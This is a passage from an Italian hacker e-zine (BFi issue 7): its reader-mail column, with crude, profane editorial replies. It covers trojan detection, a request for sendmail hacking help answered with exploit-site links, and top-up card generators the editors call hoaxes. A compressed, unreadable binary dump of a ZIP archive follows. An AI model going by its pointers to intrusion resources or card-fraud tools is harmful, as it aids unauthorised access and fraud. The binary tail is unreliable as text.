Ma dove cazzo e' BFI5????.... [Qui siamo al 7!!! Il 5 deve essersi perso nei meandri di www.s0ftpj.org =)] SeCondo me parlate troppo di unix. Lo sapete che purtroppo quasi tutti hanno (compreso me ) quell cesso di windoz [Io non ho mai parlato di *nix e comunque di windows ne parlano sui giornali a sufficienza ^_^] .Scrivete come truccare win. [E perche' non come truccare il motorino o pompare la centralina al tuo Opel Calibra!?!] E come fare i virus e poi come essere invisibili su internet e su tutto [O magari per come fare dei virii che ti rendono invisibile su internet e su tutto, in modo che puoi andare in giro senza che ti vedano e spiare le ragazze negli spogliatoi...] Ciao siete i mejo [Ciao anche tu, resta cosi' che lo sei] [5] Mail by RedRifle k, ho letto qualche numero e mi son reso conto che non siete gente con cui scherzare. [Ma come se io sto sempre a scherzare...] Probabilmente dal mio indirizzo email gia' siete riusciti a scoprire il nome della mia ragazza quante volte ci piace fare sesso, e magari se avessi una telecamera al pc in questa momento ci stareste pure spiando... (appena la compro vi faccio sapere, ok? :))) ). [Si direi che la Giusi non e' affatto male, pero' devi spiegarle che quando la prendi da dietro deve metterci piu' sentimento =))))] Scherzi a parte (ma erano veramente battute) [Come non metti una webfuckincam x farti vedere colla tua ragazza mentre impartisci lezioni di umilta'? Ueeeeee' siamo dispiaciuti =))] mi inchino umilmente alla vostra pazienza e tutto il resto, che io non c'ho il tempo di imparare tutte 'ste cose e quindi i miei progressi sono lenti (ma ci sono, non vi preoccupate.) [E allora ne siamo felici, che poi lo fai per te, mica per noi] Chiedo anche scusa se vi scrivo da un banalissimo Outlook '98, ma linux e' nell'altra partizione del pc e quei figli di puttana che mi hanno venduto il portatile non m'avevano detto che c'era dentro un fottutissimo WinModem ('fanculo sono settimane che bestemmio per non essermene accorto quando l'ho comprato e adesso devo risparmiare per un modem esterno ed uso Winzzoz e devo bestemmiare per forza per ogni reset del cazzo.) [Nota 1: Ti sono vicino nel dramma del WinModem DIO!"=#)( Nota 2: Resta il fatto che non e' strettamente necessario usare Outbrutt, passa a Eudora o a Pegasus Mail...] Oltre a tutto questo mio sfogo personale (che so gia' condiviso anche da voi :<( ) volevo chiedervi giusto una cosa: se io tutte le volte che mi collego ad internet oltre ai firewall tipo ConSeal prima lancio il comando netstat -an e il responso e' nullo (cioe' nessuna porta e' in listening), posso essere abbastanza sicuro di non avere trojan installati o qualcuno e' riuscito a fare troiani che si nascondono a questo comando? [A parte che il Conseal fa la sua funzioncina di protezione di troiani, a parte che per me e' meglio l' Atguard (http://www.atguard.com) comunque la risposta e' NI visto che netstat se mi ricordo bene mostra solo TCP e UDP: "Shows connections for the protocol specified by proto; proto may be TCP or UDP." e se ti becchi un troiano che lavora su ICMP cor cazzo che lo vedi, anche se x ora mi pare non ce ne siano, tranne *forse* un plugin x bo2k (non che non sia possibile farli, nu poco di socketraw lo danno anche le winsock2 =)) Se vuoi un consiglio usa un programma tipo il buon vecchio classico PVIEW95 (non so darti una URL) che mostra tutti i processi in memoria e non come il CTRL+ALT+CANC che non ti fa vedere quelli in modalita' "imbosched", a quel punto se vedi qualche app che prima non c'era o ti preoccupa studiaci un po' sopra e cerca di capire cazzo e'. Volendo sul web ho trovato una utility chiama inzider (la trovi su packetstorm se c'e' ancora) che visualizza all'interno delle applicazioni se vi sono dei processi che stan facendo uso delle winsock e quindi e' in grado di sgamare anche un Bo2k imboscato in un processo. Gia' che ci sei montati pure un bell'antivirus aggiornato che veda i troiani e se proprio vuoi stare in una botte di ferro metti una rete locale con un altro computer con linux x fare da firewall e connetti quello alla rete telefonica, ma forse stiamo esagerando, cazzo sei la NSA ?!? =))))] [6] Sadio by Valiant stavo facendo un lavoro di raccolta documentazione (skiaffavo tutti gli articoli hacking in un unico fillone denominato BfIhAcKinG...) quando mi soffermo sulla storia di Edoardo Fresi o Freni non ricordo adesso (e pensare ke l'ho letta 3 minuti fa hehehe)_Leggo_cavolo_allucinante!No_non e' possibile_non puo' esistere gente tanto alienata__bisogna ricoverarli_e di urgenza_... Leggo le aggiunte__gli aggiornamenti all'articolo_uh cavolo... HAHAHAHA_rido da solo davanti al monitor_la storia della SUN-->S.. e' spassosissima!!!!HAHAHAHAHAHAHA_ uhmmm_ma si'_adesso avete preso un po' lo spirito dei redattori_non so se lo avete fatto rimettendoci un poco di Hacker' Spirit;)_ma...vi siete inventati una bella storiella:))appassionante_spassosa_ma...inventata?hehehe__ [Sorry, ma e' tutto vero, sei libero di non crederci] Affermo questo per una sola ragione_difendere il genere umano!Non credo ke esistano persone con un cervello di qualke mm^3 e ke sappia ,nonostante cio', usare il FP98 hehehe. [Probabilmente perche' esistono persone con un cervello di 2 o 3 mm^3 ke il FP98 l'han programmato HEHEHEH] Skerzi a parte_non perdo tempo ulteriore a farvi i complimenti_non ne avete bisogno_mi dispiace solo ke la rivista stia perdendo quel suo fascino_quello ke hanno le cose ke sono di poki (una rete irc condivisa da 50 utenti__Linux agli albori etc. [Cioe' che cosa avremmo perso? Forse xche' riportiamo storie di cruda ignoranza abbiamo perso il nostro fascino? O forse perche' oramai ci conosce pure Emilio Fede (o quasi ^_^) e tra l'altro, e' la rete irc agli albori o gli utenti linux? Perche' se sono 50 linuxiani agli albori mi sa che la rete non funzera' troppo HIHHIHI] (lo so ..sto usando eudora_ma il fatto e' ke la hackdoc ce l'ho su win:))) [E perche'? Il Notepad ti piace di piu' del Pico ?] vabbe'_detto questo_perke' non pubblicate qualke articolo su l'hackin' degli ircd?:) [Quando ce lo Scriverai tu col Pico] [7] "Ciao" by Paolo Mail di provenienza molto interessante =)) Date: Thu, 16 Sep 1999 09:19:54 +0100 From: "Paolo xxxxxxxx" X-Mailer: Mozilla 4.06 [it] (WinNT; I) To: spirit@s0ftpj.org Subject: Ciao Lettore Akkanito new Hackers, complimenti per la Rivista non si leggava cose simili da tempo:-) [E gia' l'italiano e' una opinione =)] IL numero 7 novita'? [Mmm si la tua Mail] Okkio non pubblicare la mia email per favore grazie:-) [Noooo figurati..... ^_^] Mi dai qualche info per hack sendmail mi sto specializzando mi aiuti? [www.rootshell.com, packetstorm.securify.com, www.telecomitalia.it !!!] [8] "Echelon, Nasa, Micro$uxx" by Ufo13 Divino staff di BFI volevo notificarvi questi 2 siti: [Piu' che divino direi Porcino DEHEHEHEH] http://www.cryptonym.com/hottopics/msft-nsa.html Questo parla di una backdoor su win9x, NT e 2k fatta apposta da MS sotto richiesta della NSA... (c'e' anche il patch) [Ve ne parlo nelle news di questo numero] http://www.dis.org/erehwon/echelon.html Questo presenta la lista delle keywords che ritiene interessanti il sistema Echelon [Quindi decidetevi quando siete al telefono a parlare solo di FIGA!!!] Inoltre voglio ringraziarvi x avere cominciato a parlare dei controlli che fanno i vari enti governativi nei nostri confronti... spero di trovare molti altri articoli a riguardo... Un salutone a tutto lo staff! CONTINUATE COSI' RAGAZZI!!!! [Grazie facciamo il poxxibile (ma a chi la racconto che non ho mai voglia di fare un cazzo....)] [9] "Domande" by Ettore Ragazzi, mi chiamo Ettore, e volevo proporvi alcune mie considerazioni. E' da premettere, che non sono ne un Hacker, ne un cracker, ne un lamer, sono solo un ragazzo a cui interessa la materia, e spero, che per questo, non cestinerete la mia e-mail. [No, anzi e' interessante (shhhh, puff, d'oh! ho mancato il cestino ^_^)] Detto questo, passiamo ai fatti. Ho letto i due articoli da voi publicati, sono molto interessanti, ma mi hanno fatto pensare. [Due?!? Mi sa che sei rimasto un po' indietro] Sui vostri articoli si parla spesso, del modo in cui procurarsi user e password, per poi usarli per nascondere il il proprio ip ecc ecc. Ora io mi chiedo, come faccio a sapere che non avere hackerato il mio computer? Se un giorno qualcuno usera' il mio account per hackerare, e non riuscisse a nascondere del tutto le sue tracce, passerei i guai io... giusto? Ora, vi sembra giusto tutto questo? Ora, se qualcuno vuole penetrare in un sistema, e' giusto che si assuma le sue responsabilita', altrimenti, sarebbe troppo semplice!! Ora non parlo per quelli che penetrano in un sistema per trovare le sue debolezze, e comunicare il fatto al web master, o per mandare in pallone i server dei pedofili, ma per quelli che lo fanno per il gusto di manomettere o di mandare in crash i server su cui sono penetrati. [Bah il primo modo per evitare che sia usato il proprio account (o comunque diciamo la propria macchina), e' quello di leggere quello che scriviamo noi o altre zine di sicurezza, visitare i siti con gli exploit aggiornati, iscriversi alle ML di sicurezza etc.. e in questo modo tenersi informati su COME si fa a entrare che implica quasi direttamente il COME EVITARE di subire un attacco. Se io so per esempio cosa sono i troiani sara' piu' difficile che una persona mi invii un file e io lo esegua senza pensarci due volte. E' chiaro che tu dirai che non tutte le persone possono tenersi aggiornate su questo e sono vittime inconsapevoli, ma d'altra parte nella vita cercano di fotterti in ogni momento, dal lavoro alla vita privata, dal politicante che ti chiede di votarlo all'automobilista che ti e' di fianco in coda al semaforo, quindi questa cosa e' da mettere in conto, senza poi dimenticare che 9 volte su 10 che si parla di internet sui giornali (cartacei o meno) e' in termini di Pedofilia, Hackers, giovani fanciulle portate sulla cattiva strada etc. e quindi la gente si collega gia' prevenuta (internet ? oooooooo pauuura). A voler poi veder bene, tu dici che passeresti dei guai, in realta' una volta fatto un controllo e visto che tu non c'entri una ceppa (del tipo tu sei di Roma e il tuo account e' stato usato a Milano o comunque fatto un controllo incrociato con Mamma Puttana Telecom si puo' benissimo sapere se eri TU online o meno o ancora visto che tu usi un Wingate x la tua ditta e qualcuno te lo ha sfruttato) ho qualche dubbio possano farti qualcosa di piu' che dirti "stia piu' attento". Al massimo uno dei problemi sono quei "bambini" che girano nei pc degli altri usando vari metodi (primi tra tutti troiani) e cancellano magari il lavoro di un mese solo per il gusto di farlo, ma per questi prima o poi ci sara' una giustizia, d'altronde si sa che il pesce piccolo e' mangiato dal pesce grande.. ^_^] Ora, non so se queste mie considerazioni sono giuste o sbagliate, e' solo un'opinione di un simpatizzante per la materia, ma che non vuole mettere di mezzo altre persone per i propri fini. Spero di non avervi annoiato, o fatto incazzare, e se avete voglia rispondetemi. Grazie per l'attenzione Ettore [Per nulla, la mail era interessante e non mi sono personalmente incazzato, gli altri non so ma non penso, anzi per una volta una mail con quasi un significato che e' stata risposta velocemente, male e manco in italiano, ma tanto mi pagano uguale anche se lavoro male (mi sento molto uno "statale" deheheh, vedo gia' le mail di protesta dei postini.....)] [A] "Critica" by Eric Draven (lo stesso dell'articoli di questo numero si' =)) DiscLAiMER : Il testo che seguira' e' assolutamente libero da qualsiasi tipo di copyright, quindi puo' essere liberamente usato. [Rollatelo allora ^_^] Respects to : -!- #bluebox crew. -!-,LoneStar,Soren,Black Berry,Valvoline,Asbesto. -!- Itz starting -!- 27 Agosto 1999,tra 2 giorni inizia di nuovo il lavoro...Fa caldo,gironzolo un po' su web...sottomano il sito di BFI...beh..kissa' a ke livello sara' arrivata la ,allora neo-rivista,sulla quale scrissi un articolo... www.s0ftpj.org..contacting...waiting for reply... Resto piacevolmente sorpreso dallo stile della grafika (x i quali mi riservo di fare i complimenti all'autore del quale adesso non rikordo il nome),oh! resto [Spiritello rulezza felice nei campi dell'html...] sorpreso quando ke esiste la possibilita' di leggere gli ultimi numeri on-line,senza prendere il pakketto zip. click su BFI 6 ...waiting for reply... Inizia la mia lettura. ORRORE! Leggo inorridito gli articoli! Ragazzi,ma cosa succede ? Questa rivista si proponeva di essere la migliore magazine Italiana,invece mi ritrovo a leggere un insieme di CUT & PAST dai libri di telefonia di base, con switch ericsson ormai kaduti in disuso (e se qualcuno volesse posso anke riportare il nome dei libri usati x lo skopiazzamento),accenni di spoofing inverosimili,gente che cerca di spiegarmi come avviene il bootstrap di un pc (fondamenti di informatica 3,secondo superiore)... ArTIcOlI ScrITTi In LAM3r M0d3... non credo sia qst l'ideale di e-zine,ke,ki come me ha vissuto la scena, fin dai primi anni,vuole ritrovarsi a leggere...Mi rendo anke conto ke,alle volte,le persone ke scrivono non hanno le conoscenze adatte, ed alle volte sono in buona fede...ma...cosa deve essere questa rivista allora ? Una rivista trash ? Capitemi,la mia vuole essere una critika positiva,se un giorno mi servisse ripassare come bootstrappa il mio pc,prendero' sikuramente il libro ke usavo al primo anno di superiore e andro' a leggere...non credo sia necessario pubblikare un articolo del genere :) [Risponde sPIRIT: Ognuno ha la sua opinione... ma non sono d'accordo... A parte gli articoli sulla telefonia (di cui non sono ferrato), gli accenni allo spoofing sono ben lontani dall'essere inverosimili (ne sanno qualcosa i "poveretti" che all'hackmeeting hanno subito i vari test di FuSyS dei tools di hijacking, con tanti touch OPLA' sparsi per i loro telnet chissa' dove, e le mail che mi sono fatto mandare con sender fusys@nowhere.net e unico ip leggibile nell'header 1.2.3.4 e quello dell'smtp, e si parla non di bug ma di puro ISN prediction), la questione del bootstrap era puramente orientata al virus-coding ecccetera eccetera..] La Domanda e' : A ki e' dedikata qst rivista ? A) ai new users (quindi articoli di base) B) a gente "skilled" (quindi articoli per ki conosce gia' la materia) [Personalmente penso a una giusta via di mezzo, cercando di evitare articoli base tipo come ti accendo il pc o come ti formatto il wincozz con l'autotest; per le critiche rivolte alla parte phreak siamo ben contenti di pubblicare qualcosa di valido e serio, tenendo conto di questi particolari : 1) la scena italiana da questo punto di vista suxxa 2) se anche non suxxa, chi sa non condivide cio' che sa e quindi restano tanti suxxatori 3) tu hai dato il tuo contributo sulla zine tant'e' che in questo numero c'e' un tuo articolo sul GSM, io personalmente spero arrivi dell'altro sia da te che da altri, d'altronde se non ci capisco un caxxo di ste cose devo scrivere io di portanti e ponti ra-DIO? non penzo proprio, se qcuno skilled sa ci mandi, altrimenti nisba 4) il phreak e' un argomento abbastanza caldo e tabu', quindi va trattato con riguardo] Inoltre la rivista potrebbe essere usata come veicolo di informazione, una piazza virtuale in cui si incontrano e si scontrano le idee,le critike su cio' ke e' il mondo virtuale.... l'articolo sugli EGGDROP sara' anke karino...MA ESISTE -!-EGGDROP.DOC -!- Articoli inutili,solo per riempire spazi altrimenti vuoti,secondo me. Condivido,invece,le traduzioni in italiano di alcuni testi,come e' stato fatto in BFI_6. Prima di finire qst mia breve,ma signifikativa e spero costruttiva,critica volevo rinnovare i miei complimenti per un sito WEB ben fatto,ke potrebbe essere il punto di riferimento dell'informazione per quanto riguarda i cybertravellers italiani,per il quale,semmai servisse,offro la mia collaborazione. [Rinnovo per ricordare il nostro sito ufficiale, www.s0ftpj.org, dotato ora di uno spazio dedicato alle news curato da Black Berry e, in futuro, se iddio ci manda il php3, pure da me ^_^] Detto questo,auguro un buon proseguimento ai redattori di BFI,sperando ke prendano in considerazione quanto detto,un saluto a sPIRIT (ecco,ho davanti il sito web) e mi raccomando,uniamoci,affinke' la gente ke si affaccia al mondo del cyberspazio,non resti gente del tipo "voglio tin.it" :) [e come non ricordare : Pubblicita' TIN : "Io sono un professionista, siamo sicuri che e' un collegamento serio?" "Certo, e' Telecom Italia Net" =))] [B] "Richiesta Info" by Nicola Sto seguendo b.f.i. , da poco, mi piacerebbe sapere dove posso trovare sulla rete "6) Come posso ricaricare la scheda Omnitel? Mmmh andate dal vostro tabbaccaio di fiducia (quello dove comprate le cartine per intenderci...) e comprate una ricarica :)). Scherzi a parte.. e' reperibile sulla rete un software fatto dal Grande GPShady che permette di generare un numero di ricaricard valido inserendo almeno 50 (!) numeri di ricaricard usati. Purtroppo al momento non l'ho a portata di mouse." [Sorry, ma a volte scazziamo pure noi, secondo pareri da piu' parti e dopo test effettuati da piu' persone, parrebbe proprio che questi generatori siano delle grandi bufale, o meglio, essendo *PROBABILMENTE* i numeri generati completamente a caso, dovete avere un buco di culo tipo krakatoa x centrarne uno giusto ^_^] Tratto da fbi n'5 [No,come, aaaaaaaaaaaaarrrrrrrghhhhhhhhhhhhh ci hanno gia' schedato all'effebiaiiiiiii noooooooooooooooooo ho pauraaaaaaaaa ^_^] [C] "Istruzioni per la vita" by Marco Non riporto la mail ma riassumo il contenuto della medesima : c'e' un bell'elenco di cose da fare perche' la vita vada bene (e fin qui quasi accettabile se vi piglia in giornata buona), poi in fondo mi trovo un bel "spedisci questo messaggio di fortuna a N persone entro K giorni e la tua vita cambiera'". Indipendentemente dal fatto che ho letto questo mail settimane dopo che l'avevo scaricata e che quindi claramente non ho mandato in giro altre copie della suddetta (anche perche' a certe troiate non ci credo ^_^) ecco le 3 semplici regole di convivenza con il BFI Staff: 1- NON MANDARE TROIATE IN MAIL 2- NON MANDARE TROIATE IN MAIL 3- NON MANDARE TROIATE IN MAIL Ci sarebbe anche un 3Bis (o forse un 3Lez ? =) che vale per gli anni bisestili: 3Bis- N O N M A N D A R E T R O I A T E I N M A I L Claro ?!? E ora vi lascio, spero che le mie e le vostre troiate vi abbiano allietato, e ringraziate che non sono la parte del Phrack Staff che gestisce il Loopback o volava di peggio... Oh, dimenticavo, un big FUCKOFF DUDE alla simpatia che ha iscritto la nostra vecchia mail di bfi su usa.net a qalche mailing shit di spammers, come se non sapessimo che tua madre ti ha partorito dal culo. E vedete di maillare su bfi@s0ftpj.org THX =)) Piccolo Log di IRC: [20:36] tu sei il famoso cavallo de cavallis ? [20:37] si [20:38] volendo anche il pirla cavallo de cavallis =) .... [20:56] vabbe' pero' diciamo che se uno visita il tuo sito, si tiene anche aggiornato [20:57] AHHAHAHAHAHAHAHA [20:57] SDEHDEHEHEHEH [20:57] mai troiata fu + falsa [20:57] anche se non lo aggiorni spesso :)) AutoIronia Rulez ^_^ Cavallo "Spammami e Ti Spammo la Mamma" de Cavallis ============================================================================== ---------------------------------[ EOF 5/22 ]--------------------------------- ============================================================================== BFi-7/vcrypt32.zip100755 0 0 104541 7031246554 12237 0ustar rootrootPKm'bΨ#LIvlvcrypt32.asm;ksۺrt:$=-y8m(vuD:náHHbB*~ $$L3IbX.v{=ѳ}>ۘuN rLκ=7&<>_>%noHt޽{wmt^OvАF=^:N. h|~CdӻT'ʼnO|O6ׇ9m9}i=tOqTx~ d6SZ% $!ǷDB'Q{oߋ?cFdx](XVHߓ !哐:n")s| w(whH5%1 7 rrE.OC#B*#צ>H%ZS,  EXh u;F XBǢ^X1N*$I<ϊs*No?Ozbwɭ-v a߻G$]&R=82:!|N3^wu7[υa@ʡǏ( 6jo87(1t\LD%3un W#uNfWT@:l*Zd +rh@NCC{RlP"= =˗=qb܇.X[B}Aa))y 6'H쬭^ň9V iw;q+]i 杀\TvoG\;cFζgnDxbQs  >o.؊6g]r?9izw69g g6@\7nӏcN p%+*g@q4 Q>ywPFkg'g9zEZKpJ;!^ֽuO+oI{u|%sa#?^M>?Vg괻y8Ñfj)-T{P9]MՁ.`߯` <] h`FERdjhF@aX}s8]6 `K}nhٟ{ r& r[@x%Z:f0햠oRꕮ`orRȯ)be;C$Pa?ZmbO~Z-!K*ohY+ cR7W}˿" .Mv+9o@ތrFhc{VT!P< #aדAV, `JtM&&XSjm,7Qs cK^c:*vd.咆7IE%; K!!, "6^ĖgF!|͆2Κ&_UnVlS+cLڭV7hkj3dS-4W:ZAdD%͒r=BzS^MVQ!9ș넆-p&Ѓ00A/ƩtA1R \ւ@a $"tΚ8BmC%! .`ka;#t@ {1fvX@PEl ЬHEnH6ǒtE F."P-f>oQ>qG ģW[sLl eX/Ia-X1t\v@Zj3J *ǩGXA[eF[+;hnnҿ4[El'?_۫{nsH@xG۴0l_Pp04l4p:i&"b`d:tMI,že[XaOGӹS.ӫNOЏdr]܏M851M;:CY~Cbp%p ]oWқ=٠˲MYkS< kͦ;Ǘr4s!Flv\,,zHm㊉ 'ShƾBl42a xҲ=^gn 4լV `WbsV={߉ehSr`(y>]pC '8+!,"߷ rhQ(HQM$v}U;wH>N@xpѹexU!xн_ ;<&q\UQeP7YQ6v[/8 +`I<[c[>CIz6zcOfS][G -q@NrEH1e gޑ`,eSeny-$&ۮ"T{"8yi $&VU0,,eȎ~FIyYfR9Q:WF1+hwygwsδ]ky]Iߢ^-'PĜf˳9 7AGgeTH/dQ?|n"0K+b'$6NBl:ENJIgs'1[8[ 5;oc\du:ZeuoAd9I.d)^QIOu㯢.Hp׆/1G!5bp5;p <R±B B{pb=sHY'/IʧŶ̄#k7[LfGYC~|hdZ60Kq*4'I[A\&[eXrɰ-l:B;69Ncr9/'ryIJ .~8:^rkyD [Ay#`3kʡKga 18r/ #ف߭B*nȣw\e}lV:j; a<ʤpͩl5i l {iZa|AS 44}XzC3ѵz+,Q c>S9P͋ZuZ,{vi"]閆4c +-*^8+h6< Siz^$+?mP5yXT_ W S?t,3: [>,xOg msWѡpC PK0'1VLVCRYPT32.DEFe 0E f窢Oi3$1>jD">,x8h :H%_8I+~Q8\Y{OǓ=b:erL:c%8 -Bkf8,#ڈPT_i?f@AN0e1y!C2ֻ_2v9pPK2&v_ VLVCRYPT32.RCT[k0}V AxP68ٖ:}]@a-Ot\,IGӗa. KyAc"58=|a X0X8PJ{R4`DŽ/;IBejpdiƢp^cđA.K4a|=u?OM8b޲}x7KQy悥1X~\}NI8r$p&HY:X=wQA"'ϫB8mE! ,ǧON]uzzڊǢS#S?f~ &HFs91cU[rSg3d-9bzP=;9.V}RZ rbH"&34ED}=~.؂f@>Lf)O"J~[nhtƳZgb#\⌥]%146V.w*vJQh.+2Hiz+v~6Sn4Mק/P;]qw'!WyW=i-rZH,$C:oQ2U&7erީr yάG$3\ܝq'7]?]ڕS?נ_[uPKh'ѤIeVLVCRYPT32.RES[$y^V_K"x21vu["Y!FޒtYF!q. xB ~ȅ<5} &g%tOZ~\Tu\v$9Uu.|U]B5L+x'7%EW|ٴyu>}EU^߫XD_}l]a:^r'9>8^POul}Rc*$:}߂'CK*q>}H|K<wrs:%29-.%.VmO5]vJ_Q./?*Ί-bdݼVnOJco)oB:sy o UqZ_ʷ txw"~Scge{,UZo8^2.?X!EaziW]5./:}5"+柉c7WK}U|jGEEq_,m,?ýzu~ϡL+? +? )?2{U_'~~`Wxv@?wO es >TcYevuGYϗk$[ 2o]+=YxZ.S|D7\ꩧ/Yc@#y̫P5懡ߗЇhe7E~ƶ–5<4_C&~cχК`4~I<˿Ml]_C$;{?,*k",<{>=}̉?-Zl\:a,/l){u)?ِʏ1VP#Ogϱĩ˴z2S܃1\m!K{0|rZzө%]lmfbEِilcC._nܸ%,C:KʭÃ׮s!}*7QU:7Ġ+CUYW~MVu yKVyCe֥ɕNCQ׵e]B dׯf@ekÑ_3 >tJT6lTn`2u'+t?*L)4u̘mYqbmQ@Ta>;'cyKz\}D;'g>tdzt<&3v8)'夜ijv|4UpW_֞>z7ħٳ⮻FCx'nqsΉx@<⩧.\<|y!X?g(ӱ},WuQE]I_"Gr!1~`Qb1ǨbL  /!&[H6H5d۬x牦ZsN:wt1)+|AYBuè!8O{JP1E{DUhyRNJ7BztxoXr*hxR* hZ #!P8 cTlJ -A<㳑¢)%,H/H OEZhCk-û3 lcCyTC0htXFSZ3OC2!GdPNp("`hnĐgzQsGfl&Qg/CEM:kR̉9ѳ퐧Ņd3\QnR%nfg]̪d!ӻ<Ջ'夜_D7-Y/s RpA+;Li\'/ḭ D)ـHXp:ÔA\ ʔ\1 ,]ڔ<ێ-(8!܍1Z)ͣx^F@0B8NX6J,4ܖ6 e9ۉpe2L*|*N贊i=*6qϡPʵ)-yQ<@22{N=ιՐjHoCs~@hv3\ZQ(F)6`3s] b!lc079$gD9Jp!X1dBPJȄ+Q0B )1bQ )0$p&T Y2bI>;$x\жkdV+RN P<M̜ Hފ3%TQ0tq!Hu|vSapErv5Â. a)r!C8X: b? gH! CK;Gw0Pƒ}~_~%9NiCX"gBKsi>IPsmH>9DfD@iK{>Utdtled%]I{ ;/vdT|,L5X"؈Nd2i/w|ՖX-㯯q?^4׃նr! ԗPړIcP C Rҹ"c~; m ԏ۾̘Lf:R0e N2 4 :I5&Du[2'j4!SF$Ew!&ރtNh0\|Ϫۀ#&W`(1jQ,aحolmͷզ`lO&%#Fj"c;ٹyEsCЏw4!j‚!ͦ[ilc|o1Y?M%c /(`]<>DLՁ:7e{F$Da]%XĀD `JX‘eEDCr=KJ2ݖVL{ cDE ڒ s{G>YfSm)e1!MΊw-{pd *eŖf,ڒrbv<k+b:xX0d^–0r 2W!Kn({Y+y 01:C[d2 ?WŸu>!</|?jn!gƐ-,t@T= S`CV0y>%9;hf|UU{_e]2Y)ƭϬ~8#,* nƇ#6#K-ˌbշUL&}0eGWڒ! ޭܑQwŞT޶<}nfH!Q<*9DY*a Cޖydn`4ݥ#]B>2UdpVǜ0SES;|wZ&ʔyf̸6#;w/:1d9|+ԧN%Sk*;oE=V?29"hW221C$&)8S'.Q⪆kdޚZݙ57'VI 3$c3ا2#P>5)5r1$K"0&i(?0lge?C}Yt3 k^n(2Izf%*.hbf4EWsϛ%NI{#@EX s* C+Ũ$P"CSp^yE8ݛ&mkNUjfeRV&9%Zز2~v,nhX%K%`EXV!%e_rAoOX7?2HֽU{ٝ܍} _|G`E3 ~%!nwbəb좯NW۝ش|h h龹 Qx(y_-(t8<?AӦ;`cp HGE.=Bъz!WcI$jؤAu:Ŝ>4c;TSfЅ4u$E z ̈O;qLpBPl0_δJLdӌ^2(i4^y-J"CwG)>a2> #cD 3b`4zhFS2`"oPf #'@sT^XW (ѓd; aQw4Aucv1Й1PCO}ɀ"h1 g%qc0O$C4NqHڃ8WgA/q؉SЭijӈ^G3[HFzI1z]=b=x3+Em4褓 12N+hz޳ tF&MC ψg)qM9{~頞10&̓=ځųu8+Tgj@QO8r)-@4b<+zWĩ\$d4"fή}#3 )< rұ|g[[J+>9ȇVBml^w5xU|4ÐDysSGs_Ns1{=C{~zCG QJvXd˛HH⚷!)+*lѶvd+ۍk3/&5@h\?~go]Slbo֯z^{=<7v^faiVwZvƬc qLZl( j?zzիj[{>[<=W #'xxn{nw{0;t*l^w׹z7p[cCDCۈ ,V^{z)4DSￖ7rNy}[^joW/æΙwBFi噬B hfk g阈_g9OGQS֑h)Xw'RcW}r\z_ e^6ΦDKo r"%҂ad sYZۢPI0"pDMfuX-a+:Z/'yuvwb8Att,2 ; q8,Hwv;Ij:]<;~KܬoGb )Rey۸;x swp{krm_ъ,/^e?5giĬ,yޗWX`s׭2h2mohSTpʻE#R=ss, ['R w{{+Ei솋wgXkX%G" %й[켧;lUR8v𜁱eULdym7h;[?FFo+'×&kX]'Dfpik4,rRȠzO)Eㄗ%,gKԎ]*J8)sUݟDi¾F(Hss?H{\|þtt8{Wcv0m&3zt鉽gjyո`.y.DQwØrzߥ8>[I٬[_[ ArZ\$: +.y [x2E_y8ezuuXZFM+ h0ÌL@uB~|ƕC"rZos693>Ia9/8 I!ۆV{ed%*! -Er"]!J{"9Vp?As7(ʴ +^TQb[#o(8K~Bh'"4QŒs^oh!sG?@rLnFԭCŤ[OW\/#nDSv\#z_ܫ&F6#KY>;Oᛈ2q Aல CNv݀Ivv%,ߎ,+ZgJW,.<2c 86RøUf-xXVk $a7&r EXjj8+[Q@8e նhfdFP /Xɇc Sp]Yg"b5ό&L(@e$`#S&@eA2ݪ\HZǘ Ӯyd!T`,I?qU *C6T41KP0-J[+ӒSPg0mNyyN]}$ѰG/ 2|exR0CPMeee1/pΙ^AHz%ᬜrݟ&ꕫK~]eM{m8"IS|G` $X7,PQНr_`c`fU4g<I!ώATٌ9]&{4hʤ4hB\rVh4l5l,~As@;g ]}S ᴪ2l)iӀS2+09RASHt75ig*G=o@'ASf{(*JPҢ.(ر#kA_`:v +`BR}*9 hXMUbVV M3$`i 32J;zQAPR.o@wRBK1U3\ڄS0rيY7R G:M/Z<-HڐJ΃CU:tɣ1"Q`ǁ!]M -fs`#۾f79\M7 BE Tw=@ A0rgt.`@w7ͬTk` }m8$1 }٪2`S湁ACTpya ,d +Xd9^}Zn]g6谫lmƺ{UNjHXeaB{#䥄g&.|"ll$T gjd`(-M```R:gLN̡#]JP=ՁTtH)_dZ[`2i ˀU_oRT堨yOx"Q?,vƻ(8F|V'{koRԇ KVfF @e&A_"fyF=*i8lJl#*ξPg>LUTFWvqpH: !jÐ.4 \G9r4Q]WT#K^fk޿a<BW:Bh(5QJB'-!v6P;D.YəNĪ6X:.27\݊ aվ1̾}D,[08tAꎀH7˟tʟHjJQgNQ7RZS>H5j,m/8dS]!= [<[KkvIX(` 6Ά̓R4f+3PIVV' Ý(6SŲ X*'{)4y\^蔦ѩ5 D\ٓx]`iX̥^AxTx XC|HqrPpN~uV|~D=Ȅ qQ "0S@F@=0"uԔ{x#˾0jэHvw[mճɷiQf`Ί6r']09rL"=*.Ir_&Ofg`7Գ~eeSր1Q? ^Z2=QMPK8Pe f*i6^*QTߚΉr+AW_ -j ͪ(شV_s2s8.l! )eW5l^ɀ\A5/aNmd"6h}DpΚ82&:`F ЁKd;OwhM#7ʚ]W?5D%LhȽXyy$fK=*t`OWu%4 2>ßՑY ߩs0/UPxyC8KRQx[12(ŸύoUaRp1i|V["ŠwVDϋ,+GW2R\@O Q2PIp|4ɲK.cHE89W4"y{H|#,0h4"|b=#jLaF% #%uWo|+3,?B=їdρM >g@kdyFHR(.(rߑ脥5GvNdਣ&!3vka68~i\/Wn'=oHyG ibܑ6՗•&wzLaY$d IZQE,BRo شQa=& 6P,plkѵxըQsBh0ciLit Mނyf+fXr~W_SѪȳ4e0=%1PKD'L= yvlvcrypt32.OBJX{tf7yqtmU"&V< Q<੏$3f'z ` J1h}S_xbQS9=}bQU&!i_oߝf, lT Wx{PEʂA'aʊ_XZXpJ/ܻh٤Se$=V0&` ?.wt*9vk)¹ Y+wVST5ހ6+ƭݑ*k˚{oّ+VzKc MeXUB|be,Vq{k%h<^ISW*PjuƔeS.>{زftV*ջl'r X?@FlnBFdA߈ào') ]HجQ Jr'}ClvXۙt(U`On\"X¼Q6Zxu:{~<HLong&c'z62,$VXZ{#-O'̥9}ziחfK5vmp`SIQsa 5ǧ) ξyT{b)hEexzs1({x닏>N_~yv=]ݘZݪi[{~`yw1l|ηbE}I-2oX>l-z[EGH*6^<Քt}cffy|w}"em}OReے Fm'5j;; 